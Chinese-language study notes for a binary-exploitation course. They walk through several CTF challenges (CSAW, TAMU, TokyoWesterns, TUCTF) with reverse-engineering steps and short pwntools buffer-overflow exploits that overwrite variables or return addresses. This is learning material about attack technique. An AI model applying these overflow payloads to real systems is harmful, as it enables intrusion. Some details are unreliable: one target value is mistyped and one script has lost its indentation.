# Nightmare #1
###### tags: `security`
## 01: Intro assembly
- Hello world: 是 32-bit 的 ELF


- objdump 可以看到 call puts() 這個 function, 用 gdb 確認, 可以知道這個檔案目的是為了 print "hello world!"
- If then: 也是 32-bit 的 ELF, [ebp-0xc] 這個地方塞 0xa, 下一個指令是去做 cmp, 如果相等, print 出 "x = ten" 字串
- 初始時把 [ebp-0xc] 放 0, 之後和 0x13 (19) 比對, 如果 <=, 則用 printf 格式化印出當前的值, 並加一; 重複此步驟直到 [ebp-0xc] > 19, 所以會印出 0 1 2 ... 19
## 02: Intro tools
- gdb 中更改 print 的 string: set {char [12]} [address] = "string"

- pwntools
- proc = pwn.remote("url", port)
- proc = pwn.process("./檔名")
- proc.read(x)
- proc.send(x), proc.sendline(x)
- proc.recvuntil("x")
- pack the integer: p64(x), p32(x)
## 03: Helithumper RE
- 先 recon, 是一個 64-bit ELF

- 用 radare2 掃, 查看 validate 這個 function (pdf @sym.validate)

- 可以發現 flag 應該是 flag{HuCf_lAb}

## 03: CSAW'19 Beleaf
- 一樣先 recon, 是 64-bit ELF

- 用 ghidra 打開, rename 完後, 可以看到程式要求我們輸入某個長度 33 (0x21) 的字串, 經某個函數 transform 完, 須和 DAT_003014e0 表的值相同, 才會是 correct

- 可以看到每次都是去跟位址 &DAT_00301e40 + index * 8 裡存的值去比對, 所以把這些值記錄下來 (desired_ret)

- 接著去 dig into transform 這個 function, 我們目標是希望 return 的 i 是 01h, 09h, 11h, ... (DAT_00301e40 那張表); 所以反推回來每次的 input 依序是 &DAT_00301020 + 01h * 4, &DAT_00301020 + 09h * 4, &DAT_00301020 + 11h * 4 等位址所放的值

- 接著查看 DAT_00301020 有什麼, 並記錄下來 (dict)

- 可以寫 exploit, 得到 flag 是 flag{we_beleaf_in_your_re_future}
```python=
desired_ret = [0x01, 0x09, 0x11, 0x27, 0x02, 0x00, 0x12, 0x03, 0x08, 0x12, 0x09, 0x12, 0x11, 0x01, 0x03, 0x13, 0x04, 0x03, 0x05, 0x15, 0x2e, 0x0a, 0x03, 0x0a, 0x12, 0x03, 0x01, 0x2e, 0x16, 0x2e, 0x0a, 0x12, 0x06]
addr = []
for i in desired_ret:
addr.append(hex(0x20 + i * 4))
dict = {'0x20': 'w', '0x24': 'f', '0x28': '{', '0x2c': '_', '0x30': 'n', '0x34': 'y', '0x38': '}', '0x40': 'b', '0x44': 'l', '0x48': 'r', '0x64': 'a', '0x68': 'e', '0x6c': 'i', '0x74': 'o', '0x78': 't', '0xbc': 'g', '0xd8': 'u'}
flag = ''.join(map(dict.get, addr))
print(flag)
```

## 04: CSAW'18 Quals Boi
- 先 recon, 可以發現是一個 64-bit 的 ELF, canary 和 NX 保護都打開

- 用 ghidra 打開, 可以觀察到從 stdin 讀資料進來, 若iStack36 == -0x350c4512, 即可執行 shell

- 用 radare2 找出位址, 可以知道 iStack36 是從 [rbp-0x1c] 開始, 原本是 0xdeadbeaf, 我們目標是改成 0xcaf3baee, 可利用的 buffer 則是從 [rbp-0x30] 開始

- 所以可以寫 exploit 如下, 須注意 little-endian
```python=
import pwn
proc = pwn.process("./boi")
payload = b"a" * 20 + b"\xee\xba\xf3\xca"
proc.read()
proc.send(payload)
proc.interactive()
```

## 04: TAMU'19 Pwn1
- 先 recon, 可以知道是 32-bit 的 ELF

- 用 ghidra 打開觀察, 可以知道要 bypass 第一個和第二個問題, 需要輸入 "Sir Lancelot of Camelot" 和 "To seek the Holy Grail."


- 用 radare2 找出 gets() (dangerous function) 的 buffer 從 [ebp-0x3b] 開始, 要改的值則是放在 [ebp-0x10], 且須改成 0xdead110c8

- 所以可以寫 exploit 如下, 即可取得 flag
```python=
import pwn
proc = pwn.process("./pwn1")
stage1 = "Sir Lancelot of Camelot"
stage2 = "To seek the Holy Grail."
payload = b"a" * 0x2b + b"\xc8\x10\xa1\xde"
proc.read()
proc.sendline(stage1)
proc.read()
proc.sendline(stage2)
proc.read()
proc.sendline(payload)
proc.read()
```

## 04: TokyoWesterns'17 JustDoIt
- Recon, 是 32-bit 的 ELF, 保護機制如下, 可以看到 PIE 沒開

- 用 ghidra 打開, rename 後, 可以觀察到 31 行和 37 行, 程式會把使用輸入和某個值做比較, 如果相同, 就可以 bypass check

- 用 gdb 設中斷點 run, 可以觀察到 ds:0x804a03c 所放的是 "P@SSW0RD", 所以我們的 input 需要是 "P@SSW0RD", 但須注意送 payload 的時候會把換行也給送出去, 所以要加上 \0 截斷


- 雖然 bypass check, 但有個問題是我們仍然無法看到 flag, 往前找前面的 source code, 發現程式已經先幫我們打開 flag.txt 然後讀內容進來, 放在 flag 裡面, 所以我們可以直接用 flag 取代成 41 行 puts 的參數; 因為 puts 的參數放在 [ebp-0xc], 可控制的 input 放在 [ebp-0x20], 所以我們只要任意填 0x14 bytes 的值, 後面加上 flag 位址 (0x804a080) 即可



- 寫成 exploit
```python=
import pwn
proc = pwn.process("./just_do_it")
payload = b"a" * 0x14 + b"\x80\xa0\x04\x08"
proc.read()
proc.sendline(payload)
proc.read()
```

## 05: CSAW'16 Warmup
- 先 recon, 可以知道是 64-bit 的 ELF, PIE 沒開

- 用 ghidra 打開, 觀察到有 gets() function 可以利用, easy() function 執行 "cat flag.txt", 所以我們可以利用 gets() 的 return address, redirect 到 easy(); 找出我們的 input 是在 [rbp-0x40], 所以總共要 cover (0x40 + 8) bytes, 8 bytes 是 for old rbp 大小, 最後加上 easy() 的位址是 0x40060d



- 寫成 exploit
```python=
import pwn
proc = pwn.process("./warmup")
proc.read()
payload = b"a" * (0x40 + 8) + pwn.p64(0x40060d, endian='little')
proc.sendline(payload)
proc.read()
```

## 05: CSAW'18 Quals Getit
- 先 recon, 是 64-bit 的 ELF, PIE 沒開

- 有可利用的 gets() 和 give_shell() function, 輸入的時候 overwrite gets() 的 return address, redirect 到 give_shell(); 需要 cover (0x20 + 8), give_shell() 位在 0x4005b6


- 寫成 exploit, 即可取得 shell
```python=
import pwn
proc = pwn.process("./get_it")
proc.read()
payload = b"a" * (0x20 + 8) + pwn.p64(0x4005b6, endian='little')
proc.sendline(payload)
proc.interactive()
```

## 05: TUCFT'17 Vulnchat
- 先 recon, 是 32-bit 的 ELF, PIE 沒開

- 用 ghidra 打開, 可以知道程式讓使用者輸入兩次, 我們可以利用這兩個 scanf 造成 overflow, redirect 到 printFlag(), 即 0x804856b 來取得 flag



- 用 gdb 查看, 原本這兩個 scanf 吃的格式都是 "%30s", 這樣的限制, 使的我們無法製造 overflow

- 要解決大小限制的問題, 觀察到 "%30s" 是存在 [ebp-0x5], 而第一個 scanf (輸入名稱) 的 input 是存在 [ebp-0x19], 第二個 scanf (輸入密碼) 的 input 則是 [ebp-0x2d]; 因此我們可以在第一個 scanf, 就去覆蓋到 [ebp-0x5], 修改成我們想要的格式 (eg. "%99s"), 在第二個 scanf, 再來做 redirection, 寫成 exploit 如下
```python=
import pwn
proc = pwn.process("./vuln-chat")
proc.read()
fmt = "a" * 0x14 + "%99s"
proc.sendline(fmt)
proc.read()
payload = b"a" * (0x2d + 4) + pwn.p32(0x0804856b, endian='little')
proc.sendline(payload)
proc.read()
```
